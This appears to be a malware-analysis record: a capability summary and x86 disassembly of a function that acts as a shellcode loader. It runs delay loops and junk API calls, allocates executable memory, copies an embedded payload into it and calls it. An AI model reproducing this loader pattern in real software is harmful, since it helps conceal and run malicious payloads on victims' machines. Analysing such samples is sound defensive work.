Function at 0x404590
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Get hostname
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x4045ba
inc esi
cmp esi, 0x73f04bd
jl 0x4045a6
cmp dword [0x457d1c], 0x400
jne 0x40462c
push ebx
lea eax, [ebp - 0x81c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
push 0x40406c
push ebx
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
push ebx
push ebx
call fcn.004052ea
push ebx
call fcn.00404fc2
add esp, 0xc
push ebx
call fcn.0040557c
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.0040506a
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00404c20
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004051d0
fstp st(0)
add esp, 8
cmp dword [0x457d1c], 0x93
jne 0x404680
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x4040a0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call fcn.0040501e
add esp, 4
push ebx
push ebx
call fcn.0040504d
add esp, 8
call fcn.00404580
push ebx
push ebx
call fcn.004051a7
add esp, 8
mov eax, dword [0x457d1c]
mov ecx, dword [0x452eb4]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x458b58], ecx
mov dword [0x457d1c], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4577ac], eax
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x4046b4
cmp dword [0x457d1c], ebx
jbe 0x40471a
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
lea ecx, [ecx]
mov edx, dword [0x458b58]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x4577ac]
mov byte [ecx + esi], al
cmp dword [0x457d1c], 0x490
jne 0x404711
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x4040b0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea edx, [ebp - 4]
push edx
push ebx
lea eax, [ebp - 0x1c]
push eax
push ebx
call edi
inc esi
cmp esi, dword [0x457d1c]
jb 0x4046d0
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor esi, esi
mov ecx, dword [0x457d1c]
add ecx, esi
cmp ecx, 0x8d
jne 0x404760
push 0
lea edx, [ebp - 0x41c]
push edx
push 0
push 0
push 0
push 0
call edi
lea eax, [ebp - 4]
push eax
call ebx
push 0x4040e8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc esi
cmp esi, 0x38681
jl 0x404728
call fcn.00404470
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x404782
call ebx
cmp esi, 0x207142
jg 0x404793
inc esi
cmp esi, 0x67d12
jl 0x404778
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4047b3
mov dword [ebp - 4], edi
add dword [ebp - 4], 0
mov ecx, dword [ebp - 4]
add dword [0x4577ac], ecx
inc esi
cmp esi, 0x674bd
jl 0x404795
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov dword [ebp - 4], 0x7b
jmp 0x4047e0
cmp dword [0x457d1c], 0x86
jne 0x40481b
push 0x404100
call esi
push 0
lea edx, [ebp - 0x81c]
push edx
push 0
call edi
push 0x404138
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x457d1c], 0xf
jne 0x404830
push 0
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 4], 1
jne 0x4047e0
push 0x404190
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x4577ac]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret